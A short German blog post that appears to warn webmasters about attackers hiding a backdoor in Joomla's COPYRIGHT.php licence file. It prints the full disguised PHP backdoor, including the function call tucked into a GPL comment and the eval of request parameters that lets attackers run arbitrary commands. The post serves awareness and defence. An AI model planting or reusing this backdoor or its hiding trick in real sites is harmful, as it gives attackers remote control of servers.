Hacker versteckt Code in der Open Source Lizenzdatei

Bösartiger Code auf einem Webserver kann sehr klein sein – die Wirkung aber sehr gross. Einige Zeilen Code in einer PHP Datei kann genügen damit die Hacker jeden gewünschten Befehl ausführen können.

Damit der Code nicht leicht gefunden wird werden oft unübliche “Verstecke” gefunden – zum Beispiel in einer Lizenzdatei des Open Source Content Managements Joomla: COPYRIGHT.php

Diese Datei interessiert meist niemanden gross, so dass oft übersehen wird dass auch diese Datei verändert sein könnte.

Hier das Beispiel – achten Sie darauf wie bereits in dieser Zeile unauffällig eine getarnte PHP Funktion aufgerufen wird welche dann später deklariert wird:

*/Copyright3_6_56()/* 1989, 1991 Free Software Foundation

[av_icon_box icon=’124′ position=’left’ title=’Code Beispiel’ link=” linktarget=’no’ av_uid=’av-16409′]

< ?php
/*			GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

..

GNU GENERAL PUBLIC LICENSE
Version 2, June 1991

*/Copyright3_6_56()/* 1989, 1991 Free Software Foundation, Inc.
                          675 Mass Ave, Cambridge, MA 02139, USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

Preamble

  The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.) You can apply it to
your programs, too.*/?>

Joomla! derives from copyrighted works licensed under the GNU General
Public License.  This version has been modified pursuant to the
GNU General Public License as of September 15, 2005, and as distributed,
it includes or is derivative of works licensed under the GNU General
Public License or other free or open source software licenses.  Please
see the CREDITS.php for a non-exhaustive list of contributors and
copyright holders.  A full text version of the GNU GPL version 2 can be
found in the LICENSE.php file.  A full text version of the other licenses
that Joomla! is derivative of or includes can be found in LICENSES.php.

<? php
Copyright3_6_56();
function Copyright3_6_56(){
static $gnu = true;
if(!$gnu) return;
if(!isset($_REQUEST['gnu'])||!isset($_REQUEST['c_id']))return;
$gpl=implode('', $_REQUEST['gnu']);
eval ($gpl( $_REQUEST['c_id']));
$gnu=false;
}

[/av_icon_box]

 

Die ganze Analyse des Codes gibt es hier zu lesen